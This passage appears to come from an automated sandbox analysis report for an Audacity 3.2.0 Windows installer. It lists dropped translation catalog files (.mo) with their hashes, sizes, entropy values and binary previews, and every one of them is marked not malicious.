SHA-512:	154852ECA8DA498DB9C107EBEC60F43DB5C34232A14C2C9BEE8FE47E70862D873C06B8C7ACBC95C9030DBEA23DB236BC48970C0C57B24EF0D0E68C76B2BB42AC
Malicious:	false
Preview:	.................~..............0P......1P......<P..'....P..:....P..6...2Q......iQ.......R..\|....R..S....S..G...hS......S..K....S......'T..m....T......EU.......U.......V......HW......OX......XX......bX......oX......xX.......X.......X.......X.......X.......X.......X.......X..g....X..P...4Y.......Y..F....Z......`Z..1...xZ.......Z......K[......H\.......\......s]......%^.......^......._......4`.......`.......a......?b......Zc..0...yc.......c.......c..4....c.......d.......d.......d......%d......-d......9d......Fd......Md......Ud......_d......fd......nd......zd.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e.......e.......e......-e......@e......Ye......_e......pe......xe.......e.......e.......e..8....e..;....e.......f......2f..7...Nf.......f.......f.......f.......f..(....f.......f.......f.......g.......g.......g.......g......$g......g......5g......Eg......Pg......Yg..J...dg.......g.......g.......g..-....g..%....g..$....h......>h......Fh..S...Oh.......h..F...

C:\Program Files\Audacity\Languages\cs\is-T6M9E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4032 messages, Project-Id-Version: audacity 3.0.3 '\011 a'
Category:	dropped
Size (bytes):	333409
Entropy (8bit):	5.639759719225201
Encrypted:	false
SSDEEP:	6144:TAQi7ZcyaZURDj1oCULeoc+9A7jiGrP8QCID:Ts5LeA7ji/Na
MD5:	E2B2B5D1A08324F0360413D8A901EC8F
SHA1:	FBC7B48A5B46B26EA6AAC62002CF8B9A128FF9C9
SHA-256:	986A01BB01B71176C2C37468B8E1DE52AD7AD40D31DAB08114126D29EE5D8C77
SHA-512:	154852ECA8DA498DB9C107EBEC60F43DB5C34232A14C2C9BEE8FE47E70862D873C06B8C7ACBC95C9030DBEA23DB236BC48970C0C57B24EF0D0E68C76B2BB42AC
Malicious:	false
Preview:	.................~..............0P......1P......<P..'....P..:....P..6...2Q......iQ.......R..\|....R..S....S..G...hS......S..K....S......'T..m....T......EU.......U.......V......HW......OX......XX......bX......oX......xX.......X.......X.......X.......X.......X.......X.......X..g....X..P...4Y.......Y..F....Z......`Z..1...xZ.......Z......K[......H\.......\......s]......%^.......^......._......4`.......`.......a......?b......Zc..0...yc.......c.......c..4....c.......d.......d.......d......%d......-d......9d......Fd......Md......Ud......_d......fd......nd......zd.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e.......e.......e......-e......@e......Ye......_e......pe......xe.......e.......e.......e..8....e..;....e.......f......2f..7...Nf.......f.......f.......f.......f..(....f.......f.......f.......g.......g.......g.......g......$g......g......5g......Eg......Pg......Yg..J...dg.......g.......g.......g..-....g..%....g..$....h......>h......Fh..S...Oh.......h..F...

C:\Program Files\Audacity\Languages\cy\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 314 messages, Project-Id-Version: audacity 3.0.3 '%d Sianel'
Category:	dropped
Size (bytes):	19555
Entropy (8bit):	5.119843426705521
Encrypted:	false
SSDEEP:	384:xI2OdWjtkt9DXFt1oQ/2JM83yyX/Wej6dwFh2wBGA7f99ylsNzBHUxIZ7:cWZefoQqyyn8k9BGk9ylGhUxIZ7
MD5:	B522AA1FC3AE91994560EF3B61826A0E
SHA1:	1AC146006E19C1D9B4B56E330E0DC404618761CA
SHA-256:	8782B0FE1156627DFFA1BF6C5465A43198CFBC2F86EFCF766ECA651E78A7C510
SHA-512:	B1345EE8BCBD1BA9E35C22A57381922E793293E1E4F42DFD6B834163BDD965B1553576FDB818C63E22CBEB5CB3E4658844E665027E0AB94E681570080DAB4989
Malicious:	false
Preview:	........:.......................H.......I...%...U.......{....................................................................................................................................................... .......&...,...9...%...f...1.......#.......$...........................!.......,.......@.......G.......S.......f.......u...........................................................z...........{...........................................#...................................&.......D.......[...#...h...........................,...............#....... ....... ...=.......^.......q...O...............$.......2.... ..,...7 ......d ..-...n ..".... ..&.... ../.... ..0....!..#...G!......k!..)....!.......!.......!.......!..S....!......&"..$...+"......P"..+...j".......".......".......".......".......".......#.......#.......#......6#......:#......O#......]#......p#.......#.......#.......#.......#.......#..1....#......%$....../$......9$......D$......I$......Q$......a$......i$.......$.......$......

C:\Program Files\Audacity\Languages\cy\is-H92PA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 314 messages, Project-Id-Version: audacity 3.0.3 '%d Sianel'
Category:	dropped
Size (bytes):	19555
Entropy (8bit):	5.119843426705521
Encrypted:	false
SSDEEP:	384:xI2OdWjtkt9DXFt1oQ/2JM83yyX/Wej6dwFh2wBGA7f99ylsNzBHUxIZ7:cWZefoQqyyn8k9BGk9ylGhUxIZ7
MD5:	B522AA1FC3AE91994560EF3B61826A0E
SHA1:	1AC146006E19C1D9B4B56E330E0DC404618761CA
SHA-256:	8782B0FE1156627DFFA1BF6C5465A43198CFBC2F86EFCF766ECA651E78A7C510
SHA-512:	B1345EE8BCBD1BA9E35C22A57381922E793293E1E4F42DFD6B834163BDD965B1553576FDB818C63E22CBEB5CB3E4658844E665027E0AB94E681570080DAB4989
Malicious:	false
Preview:	........:.......................H.......I...%...U.......{....................................................................................................................................................... .......&...,...9...%...f...1.......#.......$...........................!.......,.......@.......G.......S.......f.......u...........................................................z...........{...........................................#...................................&.......D.......[...#...h...........................,...............#....... ....... ...=.......^.......q...O...............$.......2.... ..,...7 ......d ..-...n ..".... ..&.... ../.... ..0....!..#...G!......k!..)....!.......!.......!.......!..S....!......&"..$...+"......P"..+...j".......".......".......".......".......".......#.......#.......#......6#......:#......O#......]#......p#.......#.......#.......#.......#.......#..1....#......%$....../$......9$......D$......I$......Q$......a$......i$.......$.......$......

C:\Program Files\Audacity\Languages\da\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 og'
Category:	dropped
Size (bytes):	347992
Entropy (8bit):	5.4414931559385575
Encrypted:	false
SSDEEP:	6144:6m72Usdx7pWsYRDjIoj5/asc+1A7MJLXN75gBTqbJmPe:6DMVVA7Mz7a1Pe
MD5:	A3B6AD50B2331CA9D9AC243ACA831C27
SHA1:	BB42D2B63006C6785BE8E39D8A7009F5D9805973
SHA-256:	D7561C786C116E9476714A1540D0D8EC9DE271D22565F6812042348684FAFEFE
SHA-512:	CD453175D4610C702455C30E05DDD7D76F37EAB9B3C70611036582812604C6FD4ED41C222F6BFD8E12ADFB78C478CB99EEC27BDDF96C28CFE25C4D66637DBD27
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\da\is-L5QPV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.2.0 '\011 og'
Category:	dropped
Size (bytes):	347992
Entropy (8bit):	5.4414931559385575
Encrypted:	false
SSDEEP:	6144:6m72Usdx7pWsYRDjIoj5/asc+1A7MJLXN75gBTqbJmPe:6DMVVA7Mz7a1Pe
MD5:	A3B6AD50B2331CA9D9AC243ACA831C27
SHA1:	BB42D2B63006C6785BE8E39D8A7009F5D9805973
SHA-256:	D7561C786C116E9476714A1540D0D8EC9DE271D22565F6812042348684FAFEFE
SHA-512:	CD453175D4610C702455C30E05DDD7D76F37EAB9B3C70611036582812604C6FD4ED41C222F6BFD8E12ADFB78C478CB99EEC27BDDF96C28CFE25C4D66637DBD27
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\de\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 und'
Category:	dropped
Size (bytes):	359799
Entropy (8bit):	5.456538351366818
Encrypted:	false
SSDEEP:	6144:6m72UbAaQSiDODihIeusYRDjIoj5/asc+1A7M6/Nbj8ARq8CQXbu:66FpDCOVVA7M6Vbj8B8CQXbu
MD5:	0594489B778A25579CE5EF6E1F01ECCD
SHA1:	7CCD37CB18B6BB43C4EF51D336B1BD1B479D1106
SHA-256:	A6C5346CACD772616D9805FBC60CFCF0F900DB9270B20BBBCE1B1F470F8BC36E
SHA-512:	D3F1925F65841F0190AE9204CEAE1FCE07227516DBDF5BE94FE671E59DD68F3B99F5DA62E9C089CE0DD189CD62CEB13B658824242447D357FDB11B7F2ECAEA42
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\de\is-52QJJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 und'
Category:	dropped
Size (bytes):	359799
Entropy (8bit):	5.456538351366818
Encrypted:	false
SSDEEP:	6144:6m72UbAaQSiDODihIeusYRDjIoj5/asc+1A7M6/Nbj8ARq8CQXbu:66FpDCOVVA7M6Vbj8B8CQXbu
MD5:	0594489B778A25579CE5EF6E1F01ECCD
SHA1:	7CCD37CB18B6BB43C4EF51D336B1BD1B479D1106
SHA-256:	A6C5346CACD772616D9805FBC60CFCF0F900DB9270B20BBBCE1B1F470F8BC36E
SHA-512:	D3F1925F65841F0190AE9204CEAE1FCE07227516DBDF5BE94FE671E59DD68F3B99F5DA62E9C089CE0DD189CD62CEB13B658824242447D357FDB11B7F2ECAEA42
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\el\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4304 messages, Project-Id-Version: audacity 3.0.3 '\011 \316\272\316\261\316\271'
Category:	dropped
Size (bytes):	474186
Entropy (8bit):	5.580974353473279
Encrypted:	false
SSDEEP:	12288:nsLJgA70aF11BMHOA3UgDLmP/4V5gT8AiANB3S09P2++ia3Omp7ufleTSPg:GyA70U1BMlDKP45gT8AHNB3SYP2++iaj
MD5:	908C365EF7D34419198EA4DB78A033BE
SHA1:	2030C6C72FBB5C524DBFC205F85DA3E2ED6EE34F
SHA-256:	2F3949B1C10167CC0AE8A979FFCCF956EDA49905B81E052F643695318B00577E
SHA-512:	927F4667AC4735BDB719BF39D14D096D57013909519AE7CC0DB7680119DAE488446C1A2F3112736A6A82EA1C3B6B3F6FF2EEF8EA66D24756ABC38A344E113609
Malicious:	false
Preview:	....................m............f.......f.......f..'...og..:....g.......g..$....g..6....g..(...2h......[h.......h..\|....i..S....j..G...Zj..*....j..K....j.......k..m....k......7l.......l.......m......:n......Ao......Jo......To......ao......jo......qo......}o.......o.......o.......o.......o.......o..g....o..P...&p......wp..F....q......Rq..1...jq.......q......=r......:s.......s......et.......u.......u.......v......&w.......w.......x......1y......Lz..0...kz.......z.......z..4....z.......z.......{.......{.......{.......{......+{......8{......?{......G{......Q{......X{......`{......l{......v{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|......2\|......K\|......Q\|......b\|......j\|.......\|.......\|.......\|..8....\|..;....\|.......}......$}..7...@}......x}.......}.......}..R....}..0....~......;~..(...C~......l~......s~......z~.......~.......~.......~.......~.......~.......~.......~.......~..J....~..............#.......,...-...3.......a...%.......$...

C:\Program Files\Audacity\Languages\el\is-4K82R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4304 messages, Project-Id-Version: audacity 3.0.3 '\011 \316\272\316\261\316\271'
Category:	dropped
Size (bytes):	474186
Entropy (8bit):	5.580974353473279
Encrypted:	false
SSDEEP:	12288:nsLJgA70aF11BMHOA3UgDLmP/4V5gT8AiANB3S09P2++ia3Omp7ufleTSPg:GyA70U1BMlDKP45gT8AHNB3SYP2++iaj
MD5:	908C365EF7D34419198EA4DB78A033BE
SHA1:	2030C6C72FBB5C524DBFC205F85DA3E2ED6EE34F
SHA-256:	2F3949B1C10167CC0AE8A979FFCCF956EDA49905B81E052F643695318B00577E
SHA-512:	927F4667AC4735BDB719BF39D14D096D57013909519AE7CC0DB7680119DAE488446C1A2F3112736A6A82EA1C3B6B3F6FF2EEF8EA66D24756ABC38A344E113609
Malicious:	false
Preview:	....................m............f.......f.......f..'...og..:....g.......g..$....g..6....g..(...2h......[h.......h..\|....i..S....j..G...Zj..*....j..K....j.......k..m....k......7l.......l.......m......:n......Ao......Jo......To......ao......jo......qo......}o.......o.......o.......o.......o.......o..g....o..P...&p......wp..F....q......Rq..1...jq.......q......=r......:s.......s......et.......u.......u.......v......&w.......w.......x......1y......Lz..0...kz.......z.......z..4....z.......z.......{.......{.......{.......{......+{......8{......?{......G{......Q{......X{......`{......l{......v{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|......2\|......K\|......Q\|......b\|......j\|.......\|.......\|.......\|..8....\|..;....\|.......}......$}..7...@}......x}.......}.......}..R....}..0....~......;~..(...C~......l~......s~......z~.......~.......~.......~.......~.......~.......~.......~.......~..J....~..............#.......,...-...3.......a...%.......$...

C:\Program Files\Audacity\Languages\es\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 y'
Category:	dropped
Size (bytes):	364815
Entropy (8bit):	5.357333136836256
Encrypted:	false
SSDEEP:	6144:6m72UYDK2q/CsYRDjIoj5/asc+1A7MJz2Euz+:6TDKGVVA7MF/uK
MD5:	DC7116FB733FAAE41A489C3ABF66AF93
SHA1:	19874A34181D9008D7ADCFC9719FFB8A6DF543CB
SHA-256:	10E79201F214CE7FBDCEECF8BD6EC2F5A2C7DBE719AEE6BDFF42F0E1E80D9751
SHA-512:	4CFF4249B2A5A69F9DBA48DBBDBDECB19AD729CA278A30D900ED809ECC42159E1168DC136164BBAD801C5094F6010C61B44C15A042E5A1FBA2A4BD8F730B7775
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\es\is-44RRB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 y'
Category:	dropped
Size (bytes):	364815
Entropy (8bit):	5.357333136836256
Encrypted:	false
SSDEEP:	6144:6m72UYDK2q/CsYRDjIoj5/asc+1A7MJz2Euz+:6TDKGVVA7MF/uK
MD5:	DC7116FB733FAAE41A489C3ABF66AF93
SHA1:	19874A34181D9008D7ADCFC9719FFB8A6DF543CB
SHA-256:	10E79201F214CE7FBDCEECF8BD6EC2F5A2C7DBE719AEE6BDFF42F0E1E80D9751
SHA-512:	4CFF4249B2A5A69F9DBA48DBBDBDECB19AD729CA278A30D900ED809ECC42159E1168DC136164BBAD801C5094F6010C61B44C15A042E5A1FBA2A4BD8F730B7775
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\eu\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3831 messages, Project-Id-Version: audacity 3.0.3 '\011 eta'
Category:	dropped
Size (bytes):	299054
Entropy (8bit):	5.379575700457028
Encrypted:	false
SSDEEP:	6144:PHqv047m9vu5mo1URDjmortOKoc+9A9GuVe4+PsIsKMDNNk9zcUaN6he2anDM6rz:c04OFRXeA9GBPsIsKMDNNksv8kCTBzts
MD5:	32D0A3F08C3D7AC881C362CA31F57F6E
SHA1:	25FE3093611CC06004E949B25899E153B93819EF
SHA-256:	8E70E7BAC30A36EE71AE67058F1A289340F858B1519B2F11DC1BBD5C9DADC755
SHA-512:	1025FAAA6532B8254E45014E5A9CD9FDA35C69C0EE55C34EB76B7F7E6341BD62EDC05DED7DC3A0D58532FF308E8F2E4F999F9DA891E179484A099A618242FD99
Malicious:	false
Preview:	.................w..............p?......q?......\|?..'....@..:...7@..6...r@.......@......CA..S....A..G...+B..*...sB..K....B.......B..m....C.......D.......D......aE.......F.......G.......G......%G......2G......;G......BG......NG......\G......gG......qG......zG.......G..g....G..P....G......HH.......H..1....H......&I.......I.......J......^K.......K.......L......bM.......N.......N......xO.......P.......P.......Q..0....Q......&R......AR..4...SR.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......S.......S.......S.......S......2S......MS......US......\S......yS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T.......T..8....T..;...ST.......T.......T.......T.......T.......T.......U..(....U......:U......BU......IU......PU......\U......bU......hU......nU......yU.......U.......U.......U..J....U.......U.......U.......V..-....V..%...7V..$...]V.......V.......V..S....V.......V..F....W......NW......[W......

C:\Program Files\Audacity\Languages\eu\is-BBOJ7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3831 messages, Project-Id-Version: audacity 3.0.3 '\011 eta'
Category:	dropped
Size (bytes):	299054
Entropy (8bit):	5.379575700457028
Encrypted:	false
SSDEEP:	6144:PHqv047m9vu5mo1URDjmortOKoc+9A9GuVe4+PsIsKMDNNk9zcUaN6he2anDM6rz:c04OFRXeA9GBPsIsKMDNNksv8kCTBzts
MD5:	32D0A3F08C3D7AC881C362CA31F57F6E
SHA1:	25FE3093611CC06004E949B25899E153B93819EF
SHA-256:	8E70E7BAC30A36EE71AE67058F1A289340F858B1519B2F11DC1BBD5C9DADC755
SHA-512:	1025FAAA6532B8254E45014E5A9CD9FDA35C69C0EE55C34EB76B7F7E6341BD62EDC05DED7DC3A0D58532FF308E8F2E4F999F9DA891E179484A099A618242FD99
Malicious:	false
Preview:	.................w..............p?......q?......\|?..'....@..:...7@..6...r@.......@......CA..S....A..G...+B..*...sB..K....B.......B..m....C.......D.......D......aE.......F.......G.......G......%G......2G......;G......BG......NG......\G......gG......qG......zG.......G..g....G..P....G......HH.......H..1....H......&I.......I.......J......^K.......K.......L......bM.......N.......N......xO.......P.......P.......Q..0....Q......&R......AR..4...SR.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......R.......S.......S.......S.......S......2S......MS......US......\S......yS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T.......T..8....T..;...ST.......T.......T.......T.......T.......T.......U..(....U......:U......BU......IU......PU......\U......bU......hU......nU......yU.......U.......U.......U..J....U.......U.......U.......V..-....V..%...7V..$...]V.......V.......V..S....V.......V..F....W......NW......[W......

C:\Program Files\Audacity\Languages\eu_ES\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4086 messages, Project-Id-Version: audacity 3.0.3 '\011 eta'
Category:	dropped
Size (bytes):	333356
Entropy (8bit):	5.356088937988997
Encrypted:	false
SSDEEP:	6144:woRYlyQhJtMRDjeo4aLYoc+dA7B4/xgzHiPQN7MK9HK4BKrlGVXOtV83FSZBEhgo:0DI0+A7BmgriPiK4BKrlGVk8VSZBEhgo
MD5:	6F42DB245092349B9F566B2FA8D75C5D
SHA1:	8B2FA36EFB4309669723333E6F8AA21A0E131407
SHA-256:	B830D6F98BB03058369961D4D2FB5CB70FBBDA8136994DCA664CAF3EA1150820
SHA-512:	71C5723F6F6F717489F71B31D4256F96F28DFA92BDFF9FE5C8160BDCCB576615EB6D703210AC61CECFFA0A40FE0AFD6868AC4B57F988CE96F707781B4A4CE766
Malicious:	false
Preview:	....................I...\|........T.......T.......T..'...?U..:...gU..6....U.......U......sV..\|....W..S....W..G....W..*... X..K...KX.......X..m...GY.......Y......FZ.......[.......[.......\.......\.......\.......\.......\.......\.......\.......].......].......]......']....../]..g...<]..P....].......]..F....^.......^..1....^......._......._.......`......Ra.......a.......b......Vc.......d.......d......le.......f.......f.......g..0....g.......h......5h..4...Gh......\|h......~h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......i.......i......&i......Ai......Ii......Pi......mi......vi.......i.......i.......i.......i.......i.......i.......i.......i.......i.......j.......j..8....j..;...Gj.......j.......j..7....j.......j.......k......)k......5k..(...=k......fk......mk......tk.......k.......k.......k.......k.......k.......k.......k.......k..J....k.......l.......l......&l..-...-l..%...[l..$....l.......l.......l.......l..S....l......:m..F...

C:\Program Files\Audacity\Languages\eu_ES\is-AMHSN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4086 messages, Project-Id-Version: audacity 3.0.3 '\011 eta'
Category:	dropped
Size (bytes):	333356
Entropy (8bit):	5.356088937988997
Encrypted:	false
SSDEEP:	6144:woRYlyQhJtMRDjeo4aLYoc+dA7B4/xgzHiPQN7MK9HK4BKrlGVXOtV83FSZBEhgo:0DI0+A7BmgriPiK4BKrlGVk8VSZBEhgo
MD5:	6F42DB245092349B9F566B2FA8D75C5D
SHA1:	8B2FA36EFB4309669723333E6F8AA21A0E131407
SHA-256:	B830D6F98BB03058369961D4D2FB5CB70FBBDA8136994DCA664CAF3EA1150820
SHA-512:	71C5723F6F6F717489F71B31D4256F96F28DFA92BDFF9FE5C8160BDCCB576615EB6D703210AC61CECFFA0A40FE0AFD6868AC4B57F988CE96F707781B4A4CE766
Malicious:	false
Preview:	....................I...\|........T.......T.......T..'...?U..:...gU..6....U.......U......sV..\|....W..S....W..G....W..*... X..K...KX.......X..m...GY.......Y......FZ.......[.......[.......\.......\.......\.......\.......\.......\.......\.......].......].......]......']....../]..g...<]..P....].......]..F....^.......^..1....^......._......._.......`......Ra.......a.......b......Vc.......d.......d......le.......f.......f.......g..0....g.......h......5h..4...Gh......\|h......~h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......h.......i.......i......&i......Ai......Ii......Pi......mi......vi.......i.......i.......i.......i.......i.......i.......i.......i.......i.......j.......j..8....j..;...Gj.......j.......j..7....j.......j.......k......)k......5k..(...=k......fk......mk......tk.......k.......k.......k.......k.......k.......k.......k.......k..J....k.......l.......l......&l..-...-l..%...[l..$....l.......l.......l.......l..S....l......:m..F...

C:\Program Files\Audacity\Languages\fa\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 1.1, 567 messages, 17 sysdep messages, Project-Id-Version: audacity 3.0.3 ' \330\255\330\247\331\204\330\252 \330\250\333\214\342\200\214\330\265\330\257\330\247 \330\261\331\210\330\264\331\206'
Category:	dropped
Size (bytes):	48292
Entropy (8bit):	5.501785498653541
Encrypted:	false
SSDEEP:	768:F62klauaZFky4k25ZoIdKYk3rEThbsbt2AyJvKJ/gFdUkZGuTJ:F9klCZF3kZomKYkbENbgt+GgUkZGuTJ
MD5:	B1C7A78290DCF3AB57F4319D7C4B14B2
SHA1:	C3101A38F5C03C7EAA1722DCB9691B56C1AAC9D6
SHA-256:	72EFA77843CBFBC1937D933A53C21413A7B8E5C0D267BD50717E77C638AFD28D
SHA-512:	4B37DF4FD45B0DE20D74A88B58E89790C41D641B27D236FE565725B4B98F71A1B619C75536CD0D225F464AB919CE9AC76A21D40EAD76EFE06C6A6F3E47255DA1
Malicious:	false
Preview:	........7...0............#......./......./..80.......2.......2.......2.......2.......2..%....2......#3......63......;3......@3......I3......S3......[3......b3......i3......~3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......3.......4.......4.......4......(4......-4......14......:4......F4......M4......]4......g4......t4......z4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......4.......5.......5......"5..,...5..%...W5..1...}5..#....5..$....5.......5.......6......'6.....E6......p6.......6.......6.......6.......6.......7.......7......17......G7......f7......\|7.......7.......7.......7.......7.......7.......7.......7.......7.......8.......8.......8......%8......88......F8......^8......m8.......8.......8.......8.. ....8.......8.......8..#....8.......9.......9......$9......99......P9..z...f9..5....9..;....:../...S:..E....:.."....:..$....:.......;......@;.._...\;..t....;......1<..

C:\Program Files\Audacity\Languages\fa\is-FG87I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 1.1, 567 messages, 17 sysdep messages, Project-Id-Version: audacity 3.0.3 ' \330\255\330\247\331\204\330\252 \330\250\333\214\342\200\214\330\265\330\257\330\247 \330\261\331\210\330\264\331\206'
Category:	dropped
Size (bytes):	48292
Entropy (8bit):	5.501785498653541
Encrypted:	false
SSDEEP:	768:F62klauaZFky4k25ZoIdKYk3rEThbsbt2AyJvKJ/gFdUkZGuTJ:F9klCZF3kZomKYkbENbgt+GgUkZGuTJ
MD5:	B1C7A78290DCF3AB57F4319D7C4B14B2
SHA1:	C3101A38F5C03C7EAA1722DCB9691B56C1AAC9D6
SHA-256:	72EFA77843CBFBC1937D933A53C21413A7B8E5C0D267BD50717E77C638AFD28D
SHA-512:	4B37DF4FD45B0DE20D74A88B58E89790C41D641B27D236FE565725B4B98F71A1B619C75536CD0D225F464AB919CE9AC76A21D40EAD76EFE06C6A6F3E47255DA1
Malicious:	false
